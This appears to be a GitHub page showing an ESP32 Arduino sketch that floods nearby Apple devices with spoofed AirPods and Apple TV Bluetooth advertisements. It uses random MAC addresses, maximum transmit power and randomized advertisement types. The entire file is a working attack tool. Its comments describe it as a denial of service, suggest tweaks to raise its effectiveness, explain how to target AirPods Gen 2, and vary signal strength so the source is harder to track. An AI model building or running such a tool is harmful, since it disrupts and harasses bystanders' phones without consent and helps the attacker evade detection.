-
Notifications
You must be signed in to change notification settings - Fork 196
/
Copy pathmain.cpp
154 lines (128 loc) · 5.76 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
// This example takes heavy inpsiration from the ESP32 example by ronaldstoner
// Based on the previous work of chipik / _hexway / ECTO-1A & SAY-10
// See the README for more info
#include <Arduino.h>
#include <BLEDevice.h>
#include <BLEUtils.h>
#include <BLEServer.h>
#include <esp_arduino_version.h>
#include "devices.hpp"
// Bluetooth maximum transmit power
#if defined(CONFIG_IDF_TARGET_ESP32C3) || defined(CONFIG_IDF_TARGET_ESP32C2) || defined(CONFIG_IDF_TARGET_ESP32S3)
#define MAX_TX_POWER ESP_PWR_LVL_P21 // ESP32C3 ESP32C2 ESP32S3
#elif defined(CONFIG_IDF_TARGET_ESP32H2) || defined(CONFIG_IDF_TARGET_ESP32C6)
#define MAX_TX_POWER ESP_PWR_LVL_P20 // ESP32H2 ESP32C6
#else
#define MAX_TX_POWER ESP_PWR_LVL_P9 // Default
#endif
BLEAdvertising *pAdvertising; // global variable
uint32_t delayMilliseconds = 1000;
void setup() {
Serial.begin(115200);
Serial.println("Starting ESP32 BLE");
// This is specific to the AirM2M ESP32 board
// https://wiki.luatos.com/chips/esp32c3/board.html
pinMode(12, OUTPUT);
pinMode(13, OUTPUT);
BLEDevice::init("AirPods 69");
// Increase the BLE Power to 21dBm (MAX)
// https://docs.espressif.com/projects/esp-idf/en/stable/esp32c3/api-reference/bluetooth/controller_vhci.html
esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, MAX_TX_POWER);
// Create the BLE Server
BLEServer *pServer = BLEDevice::createServer();
pAdvertising = pServer->getAdvertising();
// seems we need to init it with an address in setup() step.
esp_bd_addr_t null_addr = {0xFE, 0xED, 0xC0, 0xFF, 0xEE, 0x69};
pAdvertising->setDeviceAddress(null_addr, BLE_ADDR_TYPE_RANDOM);
}
void loop() {
// Turn lights on during "busy" part
digitalWrite(12, HIGH);
digitalWrite(13, HIGH);
// First generate fake random MAC
esp_bd_addr_t dummy_addr = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
for (int i = 0; i < 6; i++){
dummy_addr[i] = random(256);
// It seems for some reason first 4 bits
// Need to be high (aka 0b1111), so we
// OR with 0xF0
if (i == 0){
dummy_addr[i] |= 0xF0;
}
}
BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();
// Randomly pick data from one of the devices
// First decide short or long
// 0 = long (headphones), 1 = short (misc stuff like Apple TV)
int device_choice = random(2);
if (device_choice == 0){
int index = random(17);
#ifdef ESP_ARDUINO_VERSION_MAJOR
#if ESP_ARDUINO_VERSION >= ESP_ARDUINO_VERSION_VAL(3, 0, 0)
oAdvertisementData.addData(String((char*)DEVICES[index], 31));
#else
oAdvertisementData.addData(std::string((char*)DEVICES[index], 31));
#endif
#endif
} else {
int index = random(13);
#ifdef ESP_ARDUINO_VERSION_MAJOR
#if ESP_ARDUINO_VERSION >= ESP_ARDUINO_VERSION_VAL(3, 0, 0)
oAdvertisementData.addData(String((char*)SHORT_DEVICES[index], 23));
#else
oAdvertisementData.addData(std::string((char*)SHORT_DEVICES[index], 23));
#endif
#endif
}
/* Page 191 of Apple's "Accessory Design Guidelines for Apple Devices (Release R20)" recommends to use only one of
the three advertising PDU types when you want to connect to Apple devices.
// 0 = ADV_TYPE_IND,
// 1 = ADV_TYPE_SCAN_IND
// 2 = ADV_TYPE_NONCONN_IND
Randomly using any of these PDU types may increase detectability of spoofed packets.
What we know for sure:
- AirPods Gen 2: this advertises ADV_TYPE_SCAN_IND packets when the lid is opened and ADV_TYPE_NONCONN_IND when in pairing mode (when the rear case btton is held).
Consider using only these PDU types if you want to target Airpods Gen 2 specifically.
*/
int adv_type_choice = random(3);
if (adv_type_choice == 0){
pAdvertising->setAdvertisementType(ADV_TYPE_IND);
} else if (adv_type_choice == 1){
pAdvertising->setAdvertisementType(ADV_TYPE_SCAN_IND);
} else {
pAdvertising->setAdvertisementType(ADV_TYPE_NONCONN_IND);
}
// Set the device address, advertisement data
pAdvertising->setDeviceAddress(dummy_addr, BLE_ADDR_TYPE_RANDOM);
pAdvertising->setAdvertisementData(oAdvertisementData);
// Set advertising interval
/* According to Apple' Technical Q&A QA1931 (https://developer.apple.com/library/archive/qa/qa1931/_index.html), Apple recommends
an advertising interval of 20ms to developers who want to maximize the probability of their BLE accessories to be discovered by iOS.
These lines of code fixes the interval to 20ms. Enabling these MIGHT increase the effectiveness of the DoS. Note this has not undergone thorough testing.
*/
//pAdvertising->setMinInterval(0x20);
//pAdvertising->setMaxInterval(0x20);
//pAdvertising->setMinPreferred(0x20);
//pAdvertising->setMaxPreferred(0x20);
// Start advertising
Serial.println("Sending Advertisement...");
pAdvertising->start();
// Turn lights off while "sleeping"
digitalWrite(12, LOW);
digitalWrite(13, LOW);
delay(delayMilliseconds); // delay for delayMilliseconds ms
pAdvertising->stop();
// Random signal strength increases the difficulty of tracking the signal
int rand_val = random(100); // Generate a random number between 0 and 99
if (rand_val < 70) { // 70% probability
esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, MAX_TX_POWER);
} else if (rand_val < 85) { // 15% probability
esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, (esp_power_level_t)(MAX_TX_POWER - 1));
} else if (rand_val < 95) { // 10% probability
esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, (esp_power_level_t)(MAX_TX_POWER - 2));
} else if (rand_val < 99) { // 4% probability
esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, (esp_power_level_t)(MAX_TX_POWER - 3));
} else { // 1% probability
esp_ble_tx_power_set(ESP_BLE_PWR_TYPE_ADV, (esp_power_level_t)(MAX_TX_POWER - 4));
}
}